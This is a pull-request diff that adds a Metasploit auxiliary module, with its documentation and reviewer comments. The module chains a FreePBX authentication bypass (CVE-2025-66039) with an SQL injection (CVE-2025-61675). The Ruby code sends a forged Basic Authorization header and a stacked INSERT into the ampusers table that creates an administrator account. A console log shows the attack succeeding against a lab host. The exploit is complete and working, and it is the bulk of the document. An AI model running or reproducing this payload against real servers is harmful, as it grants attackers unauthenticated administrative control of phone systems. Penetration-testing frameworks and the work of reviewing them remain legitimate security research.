Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
## Vulnerable Application

FreePBX is an open-source IP PBX management tool that provides a modern phone system for businesses
that use VoIP to make and receive phone calls.
Versions prior to 16.0.44 and 17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and
CVE-2025-61675, in the context of this module. The former represents an authentication bypass: when
FreePBX uses Webserver Authorization Mode (an option the admin can enable), it allows an attacker to
authenticate as any user. The latter CVE describes multiple SQL injections; this module exploits the
SQL injection in the custom extension component.
The module chains these vulnerabilities into an unauthenticated SQL injection attack that creates a
new administrative user.

To setup the environment, perform minimal installation from [here](https://downloads.freepbxdistro.org/ISO/SNG7-PBX16-64bit-2302-1.iso).
Note that **Authorization Type** needs to be set to **webserver**:

1. Log into FreePBX Administration
1. Settings -> Advanced Settings
1. Change **Authorization Type** to **webserver**

Finally, the FreePBX needs to be activated to access vulnerable APIs:

1. Log into FreePBX Administraton
1. Admin -> System Admin
1. Activate instance

## Verification Steps

1. Install FreePBX
1. Start msfconsole
1. Do: `use auxiliary/gather/freepbx_custom_extension_injection`
1. Do: `set RHOSTS [target IP address]`
1. Do: `set USERNAME [FreePBX user]`
1. Do: `set FAKE_USERNAME [new username]`
1. Do: `set FAKE_PASSWORD [new password]`
1. Do: `run`
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
1. Do: `run`
1. Do: `set NEW_USERNAME [new username]`
1. Do: `set NEW_PASSWORD [new password]`

Copy link
Contributor

@bwatters-r7 bwatters-r7 Jan 15, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Ugh...... highlighted the wrong line..... FAKE_USENAME => NEW_USERNAME



## Options

### NEW_USERNAME

Username for new administrative user.

### NEW_PASSWORD

Password for new administrative user.

### USERNAME

Performing authentication bypass requires the username of an existing user.

## Scenarios

```
msf auxiliary(gather/freepbx_custom_extension_injection) > set rhosts 192.168.168.223
rhosts => 192.168.168.223
msf auxiliary(gather/freepbx_custom_extension_injection) > set fake_username msfuser1
fake_username => msfuser1
smsf auxiliary(gather/freepbx_custom_extension_injection) > set fake_password msflab
fake_password => msflab
msf auxiliary(gather/freepbx_custom_extension_injection) > run verbose=true
[*] Running module against 192.168.168.223
[*] Trying to create new fake user
[+] New admin account: msfuser1/msflab
[*] Auxiliary module execution completed
```
100 changes: 100 additions & 0 deletions modules/auxiliary/gather/freepbx_custom_extension_injection.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,100 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'FreePBX Custom Extension SQL Injection',
'Description' => %q{
FreePBX versions prior to 16.0.44 and 17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61675, in the context of this module. The former represents an authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it allows an attacker to authenticate as any user. The latter CVE describes multiple SQL injections; this module exploits the SQL injection in the custom extension component. The module chains these vulnerabilities into an unauthenticated SQL injection attack that creates a new administrative user.
},
'Author' => [
'Noah King', # research
'msutovsky-r7', # module
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2025-66039'], # Authentication Bypass
[ 'CVE', '2025-61675'], # SQL injections
[ 'URL', 'https://horizon3.ai/attack-research/the-freepbx-rabbit-hole-cve-2025-66039-and-others/']
],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do we need to pop on the disclosure date here?

'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('USERNAME', [true, 'A valid FreePBX user']),
OptString.new('NEW_USERNAME', [false, 'Username for inserted user']),
OptString.new('NEW_PASSWORD', [false, 'Password for inserted user']),
])
end

Copy link
Contributor

@adfoster-r7 adfoster-r7 Jan 15, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would this benefit from a check method? Or is it not possible to finger print/identify the vulnerability ahead of time without side effects 👀

def run
username = datastore['NEW_USERNAME'] || Rex::Text.rand_text_alphanumeric(rand(4..10))
password = datastore['NEW_PASSWORD'] || Rex::Text.rand_text_alphanumeric(rand(6..12))

print_status('Trying to create new administrative user')
res = custom_extension_injection(username, Digest::SHA1.hexdigest(password))
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think that the Digest::SHA1.hexdigest call should be done in the custom_extension_injection function. This would make the code easier to read/re-use.


fail_with(Failure::PayloadFailed, 'Failed to create administrative user') unless res&.code == 401

if valid_admin_creds?(username, password)
print_good("New admin account: #{username}/#{password}")
else
print_error('Failed to create new user')
end
end

def valid_admin_creds?(username, password)
res = send_request_cgi({
'uri' => normalize_uri('admin', 'ajax.php'),
'method' => 'POST',
'vars_get' => {
'module' => 'userman',
'command' => 'checkPasswordReminder'
},
'headers' => { Referer: full_uri(normalize_uri('admin', 'config.php')) },
'vars_post' => {
'username' => username,
'password' => Rex::Text.encode_base64(password),
'loginpanel' => 'admin'
}
})

return false unless res&.code == 200

json_data = res.get_json_document

return false unless json_data['status'] == true && json_data['message'] == '' && json_data['usertype'] == 'admin'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do we care if the message field is non-empty?


true
end

def custom_extension_injection(username, password)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
def custom_extension_injection(username, password)
def custom_extension_injection(username, password_digest)

send_request_cgi({
'uri' => normalize_uri('admin', 'config.php'),
'method' => 'POST',
'headers' => {
'Authorization' => basic_auth(datastore['USERNAME'], Rex::Text.rand_text_alphanumeric(6))
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

(maybe)

Suggested change
'Authorization' => basic_auth(datastore['USERNAME'], Rex::Text.rand_text_alphanumeric(6))
'Authorization' => basic_auth(username, Rex::Text.rand_text_alphanumeric(6))

},
'vars_get' => {
'display' => 'endpoint',
'view' => 'customExt'
},
'vars_post' => {
'id' => %<1';INSERT INTO ampusers (username, password_sha1, sections) VALUES ('#{username}', '#{password}', '*')#>
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
'id' => %<1';INSERT INTO ampusers (username, password_sha1, sections) VALUES ('#{username}', '#{password}', '*')#>
'id' => %<1';INSERT INTO ampusers (username, password_sha1, sections) VALUES ('#{username}', '#{password_digest}', '*')#>

}
})
end

end